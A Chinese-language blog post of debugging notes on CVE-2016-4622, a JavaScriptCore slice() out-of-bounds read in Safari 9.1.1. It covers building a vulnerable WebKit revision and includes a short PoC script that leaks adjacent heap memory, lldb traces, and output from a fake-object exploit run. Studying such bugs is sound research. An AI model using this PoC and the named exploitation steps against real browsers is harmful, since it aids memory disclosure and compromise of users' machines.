CVE-2016-4622调试笔记

0x00 摘要

本文基于saelophrack上发表的Attacking JavaScript Engines一文,记录了调试的过程。

POC

0x01 环境搭建

这个漏洞可以在OS X 10.11.5上的safari 9.1.1重现。

1
[*] Setting up container object
[*] Fake JSObject @ 0x000000010d81e180
[*] Float64Array structure ID found: 00001000
[<] Reading 8 bytes from 0x000000010d9da1c0
[>] Writing 8 bytes to 0x000000010d81e170
[<] Reading 16 bytes from 0x000000010d816580
[>] Writing 16 bytes to 0x000000010d81e180
[>] Writing 8 bytes to 0x000000010d81e198
[+] All done!

但是通过lldb直接调试safari是没有webkit相关的调试符号的。

1
* thread #1: tid = 0x0a16, 0x00007fff90f9aac0 JavaScriptCore`JSC::arrayProtoFuncSlice(JSC::ExecState*), queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
    frame #0: 0x00007fff90f9aac0 JavaScriptCore`JSC::arrayProtoFuncSlice(JSC::ExecState*)
JavaScriptCore`JSC::arrayProtoFuncSlice:
->  0x7fff90f9aac0 <+0>: pushq  %rbp
    0x7fff90f9aac1 <+1>: movq   %rsp, %rbp
    0x7fff90f9aac4 <+4>: pushq  %r15
    0x7fff90f9aac6 <+6>: pushq  %r14
(lldb) p (JSC::ExecState*) $rdi
error: use of undeclared identifier 'JSC'
error: expected expression

苹果官方虽然开源了JavaScriptCore的代码,但是没有编译脚本。

在不熟悉JSC的情况下,想要对POC进行调试的话需要下载webkit,并编译存在相应漏洞的版本,就可以在有调试符号的情况下进行调试。具体的源码下载与编译参考WebKit官网的相关链接

1.1 编译参数

Webkit官方的编译脚本将所有的warning视为error,估计是我们调试漏洞的版本不是发布版本,所以存在一些warning会导致编译失败,我的做法是手动在配置文件中关闭这个设置。具体方法是将WebKit源码文件夹中所有的Base.xcconfig中的GCC_TREAT_WARNINGS_AS_ERRORS设置为NO

1
GCC_TREAT_WARNINGS_AS_ERRORS = NO;

1.2 漏洞版本

将代码版本切换到320b1fc这个版本。

1
320b1fc 2016-05-03  Geoffrey Garen  <ggaren@apple.com>

切换到目标版本之后直接编译就可以了。

编译过程中在WebCoreLink时应该会有一个报错,修改源码处理一下就好了。

1.3 通过JSC调试

WebKit/WebKitBuild/Debug中会有一个jsc,就是JavaScriptCore,单独调试这个JavaScript的引擎就会简单很多。

1
➜  Debug git:(CVE-2016-4622) ✗ export DYLD_FRAMEWORK_PATH=/Users/XXX/GitHub/WebKit/WebKitBuild/Debug
➜  Debug git:(CVE-2016-4622) ✗ lldb ./jsc ./poc.js
(lldb) target create "./jsc"
Current executable set to './jsc' (x86_64).
(lldb) settings set -- target.run-args  "./poc.js"
(lldb) b arrayProtoFuncSlice                                                                                                                                                                                                                      Breakpoint 1: where = JavaScriptCore`JSC::arrayProtoFuncSlice(JSC::ExecState*), address = 0x00000000002a9640
(lldb) r
Process 55066 launched: './jsc' (x86_64)
1 location added to breakpoint 1
Process 55066 stopped
* thread #1: tid = 0x2606d6, 0x000000010034300f JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfd910) + 15 at ArrayPrototype.cpp:851, queue = 'com.apple.main-thread', stop reason = breakpoint 1.2
    frame #0: 0x000000010034300f JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfd910) + 15 at ArrayPrototype.cpp:851
   848 	EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
   849 	{
   850 	    // http://developer.netscape.com/docs/manuals/js/client/jsref/array.htm#1193713 or 15.4.4.10
-> 851 	    JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
   852 	    if (!thisObj)
   853 	        return JSValue::encode(JSValue());
   854 	    unsigned length = getLength(exec, thisObj);
(lldb)

这样就可以带符号的调试JSC的漏洞了。

0x02 调试过程

2.1 JSC漏洞

漏洞的POC代码如下,

1
2
3
4
5
6
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);

var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print (b);

执行poc脚本后可以发现漏洞确实存在。

1
➜  Debug git:(CVE-2016-4622) ✗ ./jsc ./poc.js
0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0

具体的漏洞原因在saelo的文章中已经说的很清楚了,大致流程如图所示,细节这里就不赘述了,只记录调试过程。

poc触发流程

通过在这三个函数下断点,分析漏洞触发流程。

1
(lldb) b arrayProtoFuncSlice
Breakpoint 1: where = JavaScriptCore`JSC::arrayProtoFuncSlice(JSC::ExecState*), address = 0x00000000002a9640
(lldb) b JSArray::setLength
Breakpoint 2: where = JavaScriptCore`JSC::JSArray::setLength(JSC::ExecState*, unsigned int, bool), address = 0x0000000000089170
(lldb )b ArrayPrototype.cpp:861
Breakpoint 3: where = JavaScriptCore`JSC::arrayProtoFuncSlice(JSC::ExecState*) + 211 at ArrayPrototype.cpp:861, address = 0x00000001003430d3
1
Process 55532 stopped
* thread #1: tid = 0x26497e, 0x0000000100343040 JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfd910) + 64 at ArrayPrototype.cpp:852, queue = 'com.apple.main-thread', stop reason = step over
    frame #0: 0x0000000100343040 JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfd910) + 64 at ArrayPrototype.cpp:852
   849 	{
   850 	    // http://developer.netscape.com/docs/manuals/js/client/jsref/array.htm#1193713 or 15.4.4.10
   851 	    JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
-> 852 	    if (!thisObj)
   853 	        return JSValue::encode(JSValue());
   854 	    unsigned length = getLength(exec, thisObj);
   855 	    if (exec->hadException())
(lldb) p *thisObj
(JSC::JSObject) $15 = {
  JSC::JSCell = {
    m_structureID = 77
    m_indexingType = '\a'
    m_type = ObjectType
    m_flags = '\b'
    m_cellState = NewWhite
  }
  m_butterfly = {
    JSC::CopyBarrierBase = (m_value = 0x00000001069e4170)
  }
}
(lldb) memory read --format x --size 8 --count 10 0x00000001069e4170
0x1069e4170: 0x3fbf7ced916872b0 0x3ff1f7ced916872b
0x1069e4180: 0x4000fbe76c8b4396 0x4008fbe76c8b4396
0x1069e4190: 0x40107df3b645a1cb 0x40147df3b645a1cb
0x1069e41a0: 0x40187df3b645a1cb 0x401c7df3b645a1cb
0x1069e41b0: 0x40203ef9db22d0e5 0x40223ef9db22d0e5

通过对thisObjm_butterfly的的内存可以看到浮点数存储在内存中相应的位置。

1
Process 55532 stopped
* thread #1: tid = 0x26497e, 0x0000000100343076 JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfd910) + 118 at ArrayPrototype.cpp:855, queue = 'com.apple.main-thread', stop reason = step over
    frame #0: 0x0000000100343076 JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfd910) + 118 at ArrayPrototype.cpp:855
   852 	    if (!thisObj)
   853 	        return JSValue::encode(JSValue());
   854 	    unsigned length = getLength(exec, thisObj);
-> 855 	    if (exec->hadException())
   856 	        return JSValue::encode(jsUndefined());
   857
   858 	    unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
(lldb) p length
(unsigned int) $17 = 100

数组长度是100符合脚本执行的预期结果。

在执行这一行代码,获取slice的第二个参数时会对a执行setLength函数。

1
-> 859 	    unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);

调用栈如下,

1
* thread #1: tid = 0x26497e, 0x0000000100c36f81 JavaScriptCore`JSC::JSArray::setLength(this=0x0000000106fc7ed0, exec=0x00007fff5fbfd190, newLength=0, throwException=false) + 33 at JSArray.cpp:397, queue = 'com.apple.main-thread', stop reason = breakpoint 2.2
    frame #0: 0x0000000100c36f81 JavaScriptCore`JSC::JSArray::setLength(this=0x0000000106fc7ed0, exec=0x00007fff5fbfd190, newLength=0, throwException=false) + 33 at JSArray.cpp:397
   394
   395 	bool JSArray::setLength(ExecState* exec, unsigned newLength, bool throwException)
   396 	{
-> 397 	    Butterfly* butterfly = m_butterfly.get();
   398 	    switch (indexingType()) {
   399 	    case ArrayClass:
   400 	        if (!newLength)
(lldb) bt
* thread #1: tid = 0x26497e, 0x0000000100c36f81 JavaScriptCore`JSC::JSArray::setLength(this=0x0000000106fc7ed0, exec=0x00007fff5fbfd190, newLength=0, throwException=false) + 33 at JSArray.cpp:397, queue = 'com.apple.main-thread', stop reason = breakpoint 2.2
  * frame #0: 0x0000000100c36f81 JavaScriptCore`JSC::JSArray::setLength(this=0x0000000106fc7ed0, exec=0x00007fff5fbfd190, newLength=0, throwException=false) + 33 at JSArray.cpp:397
    frame #1: 0x0000000100c362ef JavaScriptCore`JSC::JSArray::put(cell=0x0000000106fc7ed0, exec=0x00007fff5fbfd190, propertyName=PropertyName @ 0x00007fff5fbfced0, value=JSValue @ 0x00007fff5fbfcec8, slot=0x00007fff5fbfcf28) + 511 at JSArray.cpp:206
	frame #2-#18 省略。。。
    frame #19: 0x00000001003430d0 JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfd910) + 208 at ArrayPrototype.cpp:859

观察this指针,

1
(lldb) p *this
(JSC::JSArray) $20 = {
  JSC::JSNonFinalObject = {
    JSC::JSObject = {
      JSC::JSCell = {
        m_structureID = 77
        m_indexingType = '\a'
        m_type = ObjectType
        m_flags = '\b'
        m_cellState = NewWhite
      }
      m_butterfly = {
        JSC::CopyBarrierBase = (m_value = 0x00000001069e4170)
      }
    }
  }
}

可以看到这里的this就是这钱的thisOBj也就是脚本中的var a

1
Process 55532 stopped
* thread #1: tid = 0x26497e, 0x0000000100c37277 JavaScriptCore`JSC::JSArray::setLength(this=0x0000000106fc7ed0, exec=0x00007fff5fbfd190, newLength=0, throwException=false) + 791 at JSArray.cpp:434, queue = 'com.apple.main-thread', stop reason = step over
    frame #0: 0x0000000100c37277 JavaScriptCore`JSC::JSArray::setLength(this=0x0000000106fc7ed0, exec=0x00007fff5fbfd190, newLength=0, throwException=false) + 791 at JSArray.cpp:434
   431 	        unsigned lengthToClear = butterfly->publicLength() - newLength;
   432 	        unsigned costToAllocateNewButterfly = 64; // a heuristic.
   433 	        if (lengthToClear > newLength && lengthToClear > costToAllocateNewButterfly) {
-> 434 	            reallocateAndShrinkButterfly(exec->vm(), newLength);
   435 	            return true;
   436 	        }
   437

setLength里面就会触发内存的Shrink

1
* thread #1: tid = 0x26497e, 0x00000001003430d3 JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfd910) + 211 at ArrayPrototype.cpp:861, queue = 'com.apple.main-thread', stop reason = breakpoint 3.1
    frame #0: 0x00000001003430d3 JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfd910) + 211 at ArrayPrototype.cpp:861
   858 	    unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
   859 	    unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
   860
-> 861 	    std::pair<SpeciesConstructResult, JSObject*> speciesResult = speciesConstructArray(exec, thisObj, end - begin);
   862 	    // We can only get an exception if we call some user function.
   863 	    if (UNLIKELY(speciesResult.first == SpeciesConstructResult::Exception))
   864 	        return JSValue::encode(jsUndefined());

argumentClampedIndexFromStartOrEnd执行完了之后,thisObjm_butterfly的地址发生了变化。

1
(JSC::JSObject) $26 = {
  JSC::JSCell = {
    m_structureID = 77
    m_indexingType = '\a'
    m_type = ObjectType
    m_flags = '\b'
    m_cellState = NewWhite
  }
  m_butterfly = {
    JSC::CopyBarrierBase = (m_value = 0x00000001069e4768)
  }
}

(lldb) memory read --format x --size 8 --count 10 0x00000001069e4768
0x1069e4768: 0x3fbf7ced916872b0 0x3ff1f7ced916872b
0x1069e4778: 0x0000000000000000 0x0000000000000000
0x1069e4788: 0x0000000000000000 0x0000000000000000
0x1069e4798: 0x0000000000000000 0x0000000000000000
0x1069e47a8: 0x0000000000000000 0x0000000000000000

fastSlice的数据拷贝完成之后,再看一下thisObjm_bufferfly

1
Process 55532 stopped
* thread #1: tid = 0x26497e, 0x000000010034319a JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfd910) + 410 at ArrayPrototype.cpp:868, queue = 'com.apple.main-thread', stop reason = step over
    frame #0: 0x000000010034319a JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfd910) + 410 at ArrayPrototype.cpp:868
   865
   866 	    if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
   867 	        if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
-> 868 	            return JSValue::encode(result);
   869 	    }
   870
   871 	    JSObject* result;
(lldb) memory read --format x --size 8 --count 10 0x00000001069e4768
0x1069e4768: 0x3fbf7ced916872b0 0x3ff1f7ced916872b
0x1069e4778: 0x0000000a0000000a 0x3fbf7ced916872b0
0x1069e4788: 0x3ff1f7ced916872b 0x0000000a0000000a
0x1069e4798: 0x0000000000000000 0x0000000000000000
0x1069e47a8: 0x0000000000000000 0x0000000000000000

可以看到拷贝到了一些奇怪的东西,读过writeup就会知道,这是在存储区域相邻的一个object的数据。

0x03 小结

理解了漏洞的成因之后,writeup中介绍更高级的利用技巧。

  • 地址泄露
  • 伪造object
  • 任意地址读写

理解了本文的内容,读者自行调试后面的利用技巧并不困难。这里就详细记录了。

引用

[1] http://phrack.org/papers/attacking_javascript_engines.html

[2] https://webkit.org/building-webkit/

[3] https://webkit.org/blog/6411/javascriptcore-csi-a-crash-site-investigation-story/

PS

Thanks to saelo for answering my doubts :)

https://twitter.com/5aelo

文章目录
  1. 1. 0x00 摘要
  2. 2. 0x01 环境搭建
    1. 2.1. 1.1 编译参数
    2. 2.2. 1.2 漏洞版本
    3. 2.3. 1.3 通过JSC调试
  3. 3. 0x02 调试过程
    1. 3.1. 2.1 JSC漏洞
  4. 4. 0x03 小结
  5. 5. 引用
  6. 6. PS
,